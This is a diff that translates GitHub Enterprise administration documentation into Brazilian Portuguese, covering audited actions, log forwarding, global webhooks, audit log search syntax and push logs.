+| Ação                                       | Descrição                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| ------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `repo.access`                              | A visibilidade de um repositório alterado para privado{% ifversion ghes %}, público,{% endif %} ou interno.                                                                                                                                                                                                                                                                                                                    |
+| `repo.archived`                            | Um repositório foi arquivado. Para obter mais informações, consulte "[Arquivar um repositório de {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)".                                                                                                                                                                                            |
+| `repo.add_member`                          | Um colaborador foi adicionado ao repositório.                                                                                                                                                                                                                                                                                                                                                                                  |
+| `repo.config`                              | Um administrador do site bloqueou a opção de forçar pushes. Para obter mais informações, consulte [Bloquear pushes forçados em um repositório](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/).                                                                                                                                                                       |
+| `repo.create`                              | Um repositório foi criado.                                                                                                                                                                                                                                                                                                                                                                                                     |
+| `repo.destroy`                             | Um repositório foi excluído.                                                                                                                                                                                                                                                                                                                                                                                                   |
+| `repo.remove_member`                       | Um colaborador foi removido do repositório.                                                                                                                                                                                                                                                                                                                                                                                    |
+| `repo.rename`                              | Um repositório foi renomeado.                                                                                                                                                                                                                                                                                                                                                                                                  |
+| `repo.transfer`                            | Um usuário aceitou uma solicitação para receber um repositório transferido.                                                                                                                                                                                                                                                                                                                                                    |
+| `repo.transfer_start`                      | Um usuário enviou uma solicitação para transferir um repositório a outro usuário ou organização.                                                                                                                                                                                                                                                                                                                               |
+| `repo.unarchived`                          | Um repositório teve o arquivamento cancelado. Para obter mais informações, consulte "[Arquivar um repositório de {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)".{% ifversion ghes %}
+| `repo.config.disable_anonymous_git_access` | O acesso de leitura anônimo do Git está desabilitado em um repositório. Para obter mais informações, consulte "[Habilitar acesso de leitura anônimo do Git para um repositório](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)".                                                                                                                                          |
+| `repo.config.enable_anonymous_git_access`  | O acesso de leitura anônimo do Git está abilitado em um repositório. Para obter mais informações, consulte "[Habilitar acesso de leitura anônimo do Git para um repositório](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)".                                                                                                                                             |
+| `repo.config.lock_anonymous_git_access`    | O acesso de leitura anônimo de um repositório do Git está bloqueado, impedindo que os administradores de repositório alterem (habilitem ou desabilitem) essa configuração. Para obter mais informações, consulte "[Impedir os usuários de alterar o acesso de leitura anônimo do Git](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)."                |
+| `repo.config.unlock_anonymous_git_access`  | O acesso de leitura anônimo de um repositório do Git está desbloqueado, permitindo que os administradores de repositório alterem (habilitem ou desabilitem) essa configuração. Para obter mais informações, consulte "[Impedir os usuários de alterar o acesso de leitura anônimo do Git](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)."{% endif %}
 
-## Site admin tools
+## Ferramentas de administração do site
 
-Action                        | Description
------------------------------ | -----------------------------------------------
-`staff.disable_repo`          | A site admin disabled access to a repository and all of its forks.
-`staff.enable_repo`           | A site admin re-enabled access to a repository and all of its forks.{% ifversion ghes > 3.2 %}
-`staff.exit_fake_login`       | A site admin ended an impersonation session on {% data variables.product.product_name %}.
-`staff.fake_login`            | A site admin signed into {% data variables.product.product_name %} as another user.{% endif %}
-`staff.repo_unlock`           | A site admin unlocked (temporarily gained full access to) one of a user's private repositories.
-`staff.unlock`                | A site admin unlocked (temporarily gained full access to) all of a user's private repositories.
+| Ação                    | Descrição                                                                                                                  |
+| ----------------------- | -------------------------------------------------------------------------------------------------------------------------- |
+| `staff.disable_repo`    | Um administrador do site desabilitou o acesso a um repositório e a todas as suas bifurcações.                              |
+| `staff.enable_repo`     | Um administrador do site reabilitou o acesso a um repositório e a todas as suas bifurcações.{% ifversion ghes > 3.2 %}
+| `staff.exit_fake_login` | O administrador de um site ancerrou uma sessão de representação em {% data variables.product.product_name %}.              |
+| `staff.fake_login`      | Um administrador do site efetu ou o login em {% data variables.product.product_name %} como outro usuário.{% endif %}
+| `staff.repo_unlock`     | Um administrador do site desbloqueou (obteve acesso total temporariamente a) um dos repositórios privados de um usuário.   |
+| `staff.unlock`          | Um administrador do site desbloqueou (obteve acesso total temporariamente a) todos os repositórios privados de um usuário. |
 
-## Teams
+## Equipes
 
-Action                            | Description
---------------------------------- | -------------------------------------------
-`team.create`                     | A user account or repository was added to a team.
-`team.delete`                     | A user account or repository was removed from a team.{% ifversion ghes or ghae %}
-`team.demote_maintainer`          | A user was demoted from a team maintainer to a team member.{% endif %}
-`team.destroy`                    | A team was deleted.{% ifversion ghes or ghae %}
-`team.promote_maintainer`         | A user was promoted from a team member to a team maintainer.{% endif %}
+| Ação                      | Descrição                                                                                              |
+| ------------------------- | ------------------------------------------------------------------------------------------------------ |
+| `team.create`             | Um repositório ou conta de usuário foi adicionado a uma equipe.                                        |
+| `team.delete`             | Uma conta de usuário ou repositório foi removido de uma equipe.{% ifversion ghes or ghae %}
+| `team.demote_maintainer`  | A categoria de um usuário foi rebaixada para de mantenedor da equipe para membro da equipe.{% endif %}
+| `team.destroy`            | Uma equipe foi excluída.{% ifversion ghes or ghae %}
+| `team.promote_maintainer` | Um usuário foi promovido de membro da equipe para mantenedor da equipe.{% endif %}
 
-## Users
+## Usuários
 
-Action                            | Description
---------------------------------- | -------------------------------------------
-`user.add_email`                  | An email address was added to a user account.
-`user.async_delete`               | An asynchronous job was started to destroy a user account, eventually triggering `user.delete`.{% ifversion ghes %}
-`user.change_password`            | A user changed his or her password.{% endif %}
-`user.create`                     | A new user account was created.
-`user.delete`                     | A user account was destroyed by an asynchronous job.
-`user.demote`                     | A site admin was demoted to an ordinary user account.
-`user.destroy`                    | A user deleted his or her account, triggering `user.async_delete`.{% ifversion ghes %}
-`user.failed_login`               | A user tried to sign in with an incorrect username, password, or two-factor authentication code.
-`user.forgot_password`            | A user requested a password reset via the sign-in page.{% endif %}
-`user.login`                      | A user signed in.{% ifversion ghes or ghae %}
-`user.mandatory_message_viewed`   | A user views a mandatory message (see "[Customizing user messages](/admin/user-management/customizing-user-messages-for-your-enterprise)" for details) | {% endif %}
-`user.promote`                    | An ordinary user account was promoted to a site admin.
-`user.remove_email`               | An email address was removed from a user account.
-`user.rename`                     | A username was changed.
-`user.suspend`                    | A user account was suspended by a site admin.{% ifversion ghes %}
-`user.two_factor_requested`       | A user was prompted for a two-factor authentication code.{% endif %}
-`user.unsuspend`                  | A user account was unsuspended by a site admin.
+| Ação                            | Descrição                                                                                                                                                                                        |
+| ------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `user.add_email`                | Um endereço de e-mail foi adicionado a uma conta de usuário.                                                                                                                                     |
+| `user.async_delete`             | Um trabalho assíncrono foi iniciado para destruir uma conta de usuário, eventualmente acionando `user.delete`.{% ifversion ghes %}
+| `user.change_password`          | Um usuário alterou sua senha.{% endif %}
+| `user.create`                   | Uma nova conta de usuário foi criada.                                                                                                                                                            |
+| `user.delete`                   | Uma conta de usuário foi destruída por um trabalho assíncrono.                                                                                                                                   |
+| `user.demote`                   | Um administrador do site foi rebaixado a uma conta de usuário regular.                                                                                                                           |
+| `user.destroy`                  | Um usuário excluiu a sua conta, acionando `user.async_delete`.{% ifversion ghes %}
+| `user.failed_login`             | Um usuário tentou fazer login com nome de usuário, senha ou código de autenticação de dois fatores incorretos.                                                                                   |
+| `user.forgot_password`          | Um usuário solicitou uma redefinição de senha através da página de login.{% endif %}
+| `user.login`                    | Um usuário iniciou a sessão.{% ifversion ghes or ghae %}
+| `user.mandatory_message_viewed` | Um usuário visualiza uma mensagem obrigatória (ver "[Personalizar mensagens de usuário](/admin/user-management/customizing-user-messages-for-your-enterprise)" para obter detalhes). {% endif %}
+| `user.promote`                  | Uma conta de usuário regular foi promovida a administrador do site.                                                                                                                              |
+| `user.remove_email`             | Um endereço de e-mail foi removido de uma conta de usuário.                                                                                                                                      |
+| `user.rename`                   | Um nome de usuário foi alterado.                                                                                                                                                                 |
+| `user.suspend`                  | Uma conta de usuário foi suspensa por um administrador do site.{% ifversion ghes %}
+| `user.two_factor_requested`     | Um código de autenticação de dois fatores foi solicitado de um usuário.{% endif %}
+| `user.unsuspend`                | Uma conta de usuário teve a suspensão cancelada por um administrador do site.                                                                                                                    |
 
 {% ifversion ghes > 3.1 or ghae %}
-## Workflows
+## Fluxos de trabalho
 
 {% data reusables.actions.actions-audit-events-workflow %}
 {% endif %}
+
+  [add key]: /articles/adding-a-new-ssh-key-to-your-github-account
+  [chave de implantação]: /guides/managing-deploy-keys/#deploy-keys
+  [chave de implantação de um repositório]: /guides/managing-deploy-keys/#deploy-keys
+  [generate token]: /articles/creating-an-access-token-for-command-line-use
+  [token de acesso OAuth]: /developers/apps/authorizing-oauth-apps
+  [aplicativo OAuth]: /guides/basics-of-authentication/#registering-your-app
+  [2fa]: /articles/about-two-factor-authentication
+  [2fa]: /articles/about-two-factor-authentication
diff --git a/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md b/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md
index 7f6e8c800e..1c8c2f41ef 100644
--- a/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md
+++ b/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md
@@ -1,6 +1,6 @@
 ---
-title: Log forwarding
-intro: '{% data variables.product.product_name %} uses `syslog-ng` to forward {% ifversion ghes %}system{% elsif ghae %}Git{% endif %} and application logs to the server you specify.'
+title: Encaminhamento de logs
+intro: '{% data variables.product.product_name %} usa `syslog-ng` para encaminhar {% ifversion ghes %}sistema{% elsif ghae %}Git{% endif %} e logs de aplicativo para o servidor que você especificou.'
 redirect_from:
   - /enterprise/admin/articles/log-forwarding
   - /enterprise/admin/installation/log-forwarding
@@ -18,42 +18,35 @@ topics:
   - Security
 ---
 
-## About log forwarding
+## Sobre o encaminhamento de registro
 
-Any log collection system that supports syslog-style log streams is supported (e.g., [Logstash](http://logstash.net/) and [Splunk](http://docs.splunk.com/Documentation/Splunk/latest/Data/Monitornetworkports)).
+Qualquer sistema de coleta de logs com suporte a fluxos de logs do estilo syslog é compatível (por exemplo, [Logstash](http://logstash.net/) e [Splunk](http://docs.splunk.com/Documentation/Splunk/latest/Data/Monitornetworkports)).
 
-When you enable log forwarding, you must upload a CA certificate to encrypt communications between syslog endpoints. Your appliance and the remote syslog server will perform two-way SSL, each providing a certificate to the other and validating the certificate which is received.
+Ao habilitar o encaminhamento de registro, você deverá faer o upload de um certificado CA para criptografar as comunicações entre os pontos de extremidade do syslog. O seu dispositivo e o servidor syslog remoto irão executar SSL bidirecional, e cada um fornecerá um certificado para o outro e validando o certificado que será recebido.
 
-## Enabling log forwarding
+## Habilitar o encaminhamento de logs
 
 {% ifversion ghes %}
-1. On the {% data variables.enterprise.management_console %} settings page, in the left sidebar, click **Monitoring**.
-1. Select **Enable log forwarding**.
-1. In the **Server address** field, type the address of the server to which you want to forward logs. You can specify multiple addresses in a comma-separated list.
-1. In the Protocol drop-down menu, select the protocol to use to communicate with the log server. The protocol will apply to all specified log destinations.
-1. Optionally, select **Enable TLS**. We recommend enabling TLS according to your local security policies, especially if there are untrusted networks between the appliance and any remote log servers. 
-1. To encrypt communication between syslog endpoints, click **Choose File** and choose a CA certificate for the remote syslog server. You should upload a CA bundle containing a concatenation of the certificates of the CAs involved in signing the certificate of the remote log server. The entire certificate chain will be validated, and must terminate in a root certificate. For more information, see [TLS options in the syslog-ng documentation](https://support.oneidentity.com/technical-documents/syslog-ng-open-source-edition/3.16/administration-guide/56#TOPIC-956599).
+1. Na página de configurações do {% data variables.enterprise.management_console %}, na barra lateral esquerda, clique em **Monitoring** (Monitoramento).
+1. Selecione **Enable log forwarding** (Habilitar encaminhamento de logs).
+1. No campo **Server address** (Endereço do servidor), digite o endereço do servidor para o qual você pretende encaminhar os logs. É possível especificar vários endereços em uma lista separada por vírgulas.
+1. No menu suspenso Protocol (Protocolo), selecione o protocolo a ser usado para comunicação com o servidor de logs. O protocolo será aplicado a todos os destinos de log especificados.
+1. Opcionalmente, selecione **Habilitar TLS**. Recomendamos habilitar o TLS de acordo com suas políticas de segurança locais, especialmente se houver redes não confiáveis entre o dispositivo e quaisquer servidores de registro remotos.
+1. Para criptografar a comunicação entre pontos de extremidade dos syslog, clique em **Escolher arquivo** e escolha um certificado CA para o servidor do syslog remoto. Você deverá fazer o upload de um pacote CA que contém uma concatenação dos certificados das CAs envolvidos na assinatura do certificado do servidor de registro remoto. Toda a cadeia de certificados será validada e deverá terminar em um certificado raiz. Para obter mais informações, consulte [as opções de TLS na documentação syslog-ng](https://support.oneidentity.com/technical-documents/syslog-ng-open-source-edition/3.16/administration-guide/56#TOPIC-956599).
 {% elsif ghae %}
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
-1. Under {% octicon "gear" aria-label="The Settings gear" %} **Settings**, click **Log forwarding**.
-  ![Log forwarding tab](/assets/images/enterprise/business-accounts/log-forwarding-tab.png)
-1. Under "Log forwarding", select **Enable log forwarding**.
-  ![Checkbox to enable log forwarding](/assets/images/enterprise/business-accounts/enable-log-forwarding-checkbox.png)
-1. Under "Server address", enter the address of the server you want to forward logs to.
-  ![Server address field](/assets/images/enterprise/business-accounts/server-address-field.png)
-1. Use the "Protocol" drop-down menu, and select a protocol.
-  ![Protocol drop-down menu](/assets/images/enterprise/business-accounts/protocol-drop-down-menu.png)
-1. Optionally, to enable TLS encrypted communication between syslog endpoints, select **Enable TLS**.
-  ![Checkbox to enable TLS](/assets/images/enterprise/business-accounts/enable-tls-checkbox.png)
-1. Under "Public certificate", paste your x509 certificate.
-  ![Text box for public certificate](/assets/images/enterprise/business-accounts/public-certificate-text-box.png)
-1. Click **Save**.
-  ![Save button for log forwarding](/assets/images/enterprise/business-accounts/save-button-log-forwarding.png)
+1. Em {% octicon "gear" aria-label="The Settings gear" %} **Configurações**, clique em **Encaminhamento de registro**. ![Aba de encaminhamento de log](/assets/images/enterprise/business-accounts/log-forwarding-tab.png)
+1. Em "Encaminhamento de registro", selecione **Habilitar o encaminhamento de registro**. ![Caixa de seleção para habilitar o encaminhamento de registro](/assets/images/enterprise/business-accounts/enable-log-forwarding-checkbox.png)
+1. Em "Endereço do servidor, digite o endereço do servidor para o qual você deseja encaminhar o registro. ![Campo endereço do servidor](/assets/images/enterprise/business-accounts/server-address-field.png)
+1. Use o menu suspenso "Protocolo" e selecione um protocolo. ![Menu suspenso de protocolo](/assets/images/enterprise/business-accounts/protocol-drop-down-menu.png)
+1. Opcionalmente, para habilitar comunicação encriptada TLS entre os pontos de extremidade do syslog, selecione **Habilitar TLS**. ![Caixa de seleção para habilitar TLS](/assets/images/enterprise/business-accounts/enable-tls-checkbox.png)
+1. Em "Certificado público", cole o seu certificado x509. ![Caixa de texto para certificado público](/assets/images/enterprise/business-accounts/public-certificate-text-box.png)
+1. Clique em **Salvar**. ![Botão Salvar para encaminhamento de registro](/assets/images/enterprise/business-accounts/save-button-log-forwarding.png)
 {% endif %}
 
 {% ifversion ghes %}
-## Troubleshooting
+## Solução de Problemas
 
-If you run into issues with log forwarding, contact {% data variables.contact.contact_ent_support %} and attach the output file from `http(s)://[hostname]/setup/diagnostics` to your email.
+Em caso de problemas com o encaminhamento de logs, entre em contato com o {% data variables.contact.contact_ent_support %} e anexe o arquivo de saída de `http(s)://[hostname]/setup/diagnostics` ao seu e-mail.
 {% endif %}
diff --git a/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks.md b/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks.md
index 589354bd37..30de54d96e 100644
--- a/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks.md
+++ b/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks.md
@@ -1,7 +1,7 @@
 ---
-title: Managing global webhooks
-shortTitle: Manage global webhooks
-intro: You can configure global webhooks to notify external web servers when events occur within your enterprise.
+title: Gerenciar webhooks globais
+shortTitle: Gerenciar webhooks globais
+intro: Você pode configurar webhooks globais para notificar servidores web externos quando os eventos ocorrerem na sua empresa.
 permissions: Enterprise owners can manage global webhooks for an enterprise account.
 redirect_from:
   - /enterprise/admin/user-management/about-global-webhooks
@@ -23,77 +23,65 @@ topics:
   - Webhooks
 ---
 
-## About global webhooks
+## Sobre webhooks globais
 
-You can use global webhooks to notify an external web server when events occur within your enterprise. You can configure the server to receive the webhook's payload, then run an application or code that monitors, responds to, or enforces rules for user and organization management for your enterprise. For more information, see "[Webhooks](/developers/webhooks-and-events/webhooks)."
+Você pode usar webhooks globais para notificar um servidor web externo quando os eventos ocorrerem dentro de sua empresa. Você pode configurar o servidor para receber a carga do webhook e, em seguida, executar um aplicativo ou código que monitora, responde ou aplica regras para gestão de usuários e organizações para a sua empresa. Para obter mais informações, consulte "[Webhooks](/developers/webhooks-and-events/webhooks).
 
-For example, you can configure {% data variables.product.product_location %} to send a webhook when someone creates, deletes, or modifies a repository or organization within your enterprise. You can configure the server to automatically perform a task after receiving the webhook.
+Por exemplo, você pode configurar {% data variables.product.product_location %} para enviar um webhook quando alguém criar, excluir ou modificar um repositório ou organização dentro da sua empresa. Você pode configurar o servidor para executar automaticamente uma tarefa depois de receber o webhook.
 
-![List of global webhooks](/assets/images/enterprise/site-admin-settings/list-of-global-webhooks.png)
+![Lista de webhooks globais](/assets/images/enterprise/site-admin-settings/list-of-global-webhooks.png)
 
 {% data reusables.enterprise_user_management.manage-global-webhooks-api %}
 
-## Adding a global webhook
+## Adicionar um webhook global
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.hooks-tab %}
-5. Click **Add webhook**.
-  ![Add webhook button on Webhooks page in Admin center](/assets/images/enterprise/site-admin-settings/add-global-webhook-button.png)
-6. Type the URL where you'd like to receive payloads.
-  ![Field to type a payload URL](/assets/images/enterprise/site-admin-settings/add-global-webhook-payload-url.png)
-7. Optionally, use the **Content type** drop-down menu, and click a payload format.
-  ![Drop-down menu listing content type options](/assets/images/enterprise/site-admin-settings/add-global-webhook-content-type-dropdown.png)
-8. Optionally, in the **Secret** field, type a string to use as a `secret` key.
-  ![Field to type a string to use as a secret key](/assets/images/enterprise/site-admin-settings/add-global-webhook-secret.png)
-9. Optionally, if your payload URL is HTTPS and you would not like {% data variables.product.prodname_ghe_server %} to verify SSL certificates when delivering payloads, select **Disable SSL verification**. Read the information about SSL verification, then click **I understand my webhooks may not be secure**.
-  ![Checkbox for disabling SSL verification](/assets/images/enterprise/site-admin-settings/add-global-webhook-disable-ssl-button.png)
+5. Clique em **Add webhook** (Adicionar webhook). ![Botão Add webhook (Adicionar webhook) na página Webhooks na central de administração](/assets/images/enterprise/site-admin-settings/add-global-webhook-button.png)
+6. Digite a URL em que você gostaria de receber cargas. ![Campo para digitar URL de carga](/assets/images/enterprise/site-admin-settings/add-global-webhook-payload-url.png)
+7. Você também pode usar o menu suspenso **Content type** (Tipo de conteúdo) e clicar em um formato de carga. ![Menu suspenso com opções de tipo de conteúdo](/assets/images/enterprise/site-admin-settings/add-global-webhook-content-type-dropdown.png)
+8. Como alternativa, no campo **Secret** (Segredo), digite uma string para usar como chave `secret`. ![Campo para digitar uma string e usar como chave secreta](/assets/images/enterprise/site-admin-settings/add-global-webhook-secret.png)
+9. Opcionalmente, se a URL da sua carga HTTPS e você não quiser que {% data variables.product.prodname_ghe_server %} verifique os certificados SSL ao entregar as cargas, selecione **Desabilitar verificação SSL**. Leia as informações sobre a verificação SSL e clique em **I understand my webhooks may not be secure** (Eu entendo que meus webhooks podem não ser seguros). ![Caixa de seleção para desabilitar a verificação SSL](/assets/images/enterprise/site-admin-settings/add-global-webhook-disable-ssl-button.png)
 
   {% warning %}
 
-  **Warning:** SSL verification helps ensure that hook payloads are delivered securely. We do not recommend disabling SSL verification.
+  **Aviso:** a verificação SSL ajuda a garantir a entrega segura das cargas do hook. Não é recomendável desabilitar a verificação SSL.
 
   {% endwarning %}
-10. Decide if you'd like this webhook to trigger for every event or for selected events.
-  ![Radio buttons with options to receive payloads for every event or selected events](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-events.png)
-    - For every event, select **Send me everything**.
-    - To choose specific events, select **Let me select individual events**.
-11. If you chose to select individual events, select the events that will trigger the webhook.
+10. Decida se você quer que o webhook seja acionado para todos os eventos ou somente para determinados eventos. ![Botões com opções de receber cargas para todos os eventos ou para eventos específicos](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-events.png)
+    - Para todos os eventos, selecione **Send me everything** (Enviar tudo).
+    - Para eventos específicos, selecione **Let me select individual events** (Selecionar eventos individualmente).
+11. Se você escolher eventos individuais, selecione os eventos que acionarão o webhook.
       {% ifversion ghec %}
-      ![Checkboxes for individual global webhook events](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-individual-events.png)
+      ![Caixas de seleção para eventos de webhook globais individuais](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-individual-events.png)
       {% elsif ghes or ghae %}
-      ![Checkboxes for individual global webhook events](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-individual-events-ghes-and-ae.png)
+      ![Caixas de seleção para eventos de webhook globais individuais](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-individual-events-ghes-and-ae.png)
       {% endif %}
-12. Confirm that the **Active** checkbox is selected.
-  ![Selected Active checkbox](/assets/images/help/business-accounts/webhook-active.png)
-13. Click **Add webhook**.
+12. Confirme que a caixa de seleção **ativa** esteja marcada. ![Caixa de seleção Active (Ativo) marcada](/assets/images/help/business-accounts/webhook-active.png)
+13. Clique em **Add webhook** (Adicionar webhook).
 
-## Editing a global webhook
+## Editar um webhook global
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.hooks-tab %}
-5. Next to the webhook you'd like to edit, click **Edit**.
-  ![Edit button next to a webhook](/assets/images/enterprise/site-admin-settings/edit-global-webhook-button.png)
-6. Update the webhook's settings.
-7. Click **Update webhook**.
+5. Ao lado do webhook que você pretende editar, clique em **Edit** (Editar). ![Botão Edit (Editar) ao lado de um webhook](/assets/images/enterprise/site-admin-settings/edit-global-webhook-button.png)
+6. Atualize as configurações do webhook.
+7. Clique em **Update webhook** (Atualizar webhook).
 
-## Deleting a global webhook
+## Excluir um webhook global
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.hooks-tab %}
-5. Next to the webhook you'd like to delete, click **Delete**.
-  ![Delete button next to a webhook](/assets/images/enterprise/site-admin-settings/delete-global-webhook-button.png)
-6. Read the information about deleting a webhook, then click **Yes, delete webhook**.
-  ![Pop-up box with warning information and button to confirm deleting the webhook](/assets/images/enterprise/site-admin-settings/confirm-delete-global-webhook.png)
+5. Ao lado do webhook que você pretende excluir, clique em **Delete** (Excluir). ![Botão Delete (Excluir) ao lado de um webhook](/assets/images/enterprise/site-admin-settings/delete-global-webhook-button.png)
+6. Leia as informações sobre como excluir um webhook e clique em **Yes, delete webhook** (Sim, excluir webhook). ![Caixa pop-up com informações de aviso e botão para confirmar a exclusão do webhook](/assets/images/enterprise/site-admin-settings/confirm-delete-global-webhook.png)
 
-## Viewing recent deliveries and responses
+## Exibir respostas e entregas recentes
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.hooks-tab %}
-5. In the list of webhooks, click the webhook for which you'd like to see deliveries.
-  ![List of webhooks with links to view each webhook](/assets/images/enterprise/site-admin-settings/click-global-webhook.png)
-6. Under "Recent deliveries", click a delivery to view details.
-  ![List of the webhook's recent deliveries with links to view details](/assets/images/enterprise/site-admin-settings/global-webhooks-recent-deliveries.png)
+5. Na lista de webhooks, clique no webhook em que você gostaria de ver entregas. ![Lista de webhooks com links para exibir cada webhook](/assets/images/enterprise/site-admin-settings/click-global-webhook.png)
+6. Em "Recent deliveries" (Entregas recentes), clique em uma entrega para ver detalhes. ![Lista das entregas recentes do webhook com links para exibir detalhes](/assets/images/enterprise/site-admin-settings/global-webhooks-recent-deliveries.png)
diff --git a/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log.md b/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log.md
index 9fc020f88a..bf9517f922 100644
--- a/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log.md
+++ b/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log.md
@@ -1,6 +1,6 @@
 ---
-title: Searching the audit log
-intro: Site administrators can search an extensive list of audited actions on the enterprise.
+title: Pesquisar no log de auditoria
+intro: Os administradores do site podem pesquisar uma extensa lista de ações auditadas sobre a empresa.
 redirect_from:
   - /enterprise/admin/articles/searching-the-audit-log
   - /enterprise/admin/installation/searching-the-audit-log
@@ -15,37 +15,37 @@ topics:
   - Enterprise
   - Logging
 ---
-## Search query syntax
 
-Compose a search query from one or more key:value pairs separated by AND/OR logical operators.
+## Sintaxe de consulta de pesquisa
 
-Key            | Value
---------------:| --------------------------------------------------------
-`actor_id`     | ID of the user account that initiated the action
-`actor`        | Name of the user account that initiated the action
-`oauth_app_id` | ID of the OAuth application associated with the action
-`action`       | Name of the audited action
-`user_id`      | ID of the user affected by the action
-`user`         | Name of the user affected by the action
-`repo_id`      | ID of the repository affected by the action (if applicable)
-`repo`         | Name of the repository affected by the action (if applicable)
-`actor_ip`     | IP address from which the action was initiated
-`created_at`   | Time at which the action occurred
-`from`         | View from which the action was initiated
-`note`         | Miscellaneous event-specific information (in either plain text or JSON format)
-`org`          | Name of the organization affected by the action (if applicable)
-`org_id`       | ID of the organization affected by the action (if applicable)
+Crie uma consulta de pesquisa com um ou mais pares chave-valor separados por operadores lógicos AND/OR.
 
-For example, to see all actions that have affected the repository `octocat/Spoon-Knife` since the beginning of 2017:
+|          Tecla | Valor                                                                                     |
+| --------------:| ----------------------------------------------------------------------------------------- |
+|     `actor_id` | ID da conta do usuário que iniciou a ação.                                                |
+|        `actor` | Nome da conta do usuário que iniciou a ação.                                              |
+| `oauth_app_id` | ID do aplicativo OAuth associado à ação.                                                  |
+|         `Ação` | Nome da ação auditada                                                                     |
+|      `user_id` | ID do usuário afetado pela ação.                                                          |
+|      `usuário` | Nome do usuário afetado pela ação.                                                        |
+|      `repo_id` | ID do repositório afetado pela ação (se aplicável).                                       |
+|         `repo` | Nome do repositório afetado pela ação (se aplicável).                                     |
+|     `actor_ip` | Endereço IP do qual a ação foi iniciada.                                                  |
+|   `created_at` | Hora em que a ação ocorreu.                                                               |
+|         `from` | Exibição da qual a ação foi iniciada.                                                     |
+|         `note` | Informações diversas sobre eventos específicos (em texto sem formatação ou formato JSON). |
+|          `org` | Nome da organização afetada pela ação (se aplicável).                                     |
+|       `org_id` | ID da organização afetada pela ação (se aplicável).                                       |
+
+Por exemplo, para ver todas as ações que afetaram o repositório `octocat/Spoon-Knife` desde o início de 2017:
 
   `repo:"octocat/Spoon-Knife" AND created_at:[2017-01-01 TO *]`
 
-For a full list of actions, see "[Audited actions](/admin/user-management/audited-actions)."
+Para obter uma lista completa de ações, consulte "[Ações auditadas](/admin/user-management/audited-actions)".
 
-## Searching the audit log
+## Pesquisar no log de auditoria
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.audit-log-tab %}
-4. Type a search query.
-![Search query](/assets/images/enterprise/site-admin-settings/search-query.png)
+4. Digite uma consulta de pesquisa.![Consulta de pesquisa](/assets/images/enterprise/site-admin-settings/search-query.png)
diff --git a/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs.md b/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs.md
index 5f6e5fb089..f43e178494 100644
--- a/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs.md
+++ b/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing push logs
-intro: Site administrators can view a list of Git push operations for any repository on the enterprise.
+title: Exibir logs de push
+intro: Os administradores do site podem ver uma lista de operações de push do Git para qualquer repositório na empresa.
 redirect_from:
   - /enterprise/admin/articles/viewing-push-logs
   - /enterprise/admin/installation/viewing-push-logs
@@ -16,31 +16,30 @@ topics:
   - Git
   - Logging
 ---
-Push log entries show:
 
-- Who initiated the push
-- Whether it was a force push or not
-- The branch someone pushed to
-- The protocol used to push
-- The originating IP address
-- The Git client used to push
-- The SHA hashes from before and after the operation
+As entradas de log de push mostram o seguinte:
 
-## Viewing a repository's push logs
+- Quem iniciou o push;
+- Se o push foi forçado ou não;
+- O branch para o qual o push foi feito;
+- O protocolo usado para fazer push;
+- O endereço IP de origem;
+- O cliente Git usado para fazer push;
+- Os hashes SHA de antes e depois da operação.
 
-1. Sign into {% data variables.product.prodname_ghe_server %} as a site administrator.
-1. Navigate to a repository.
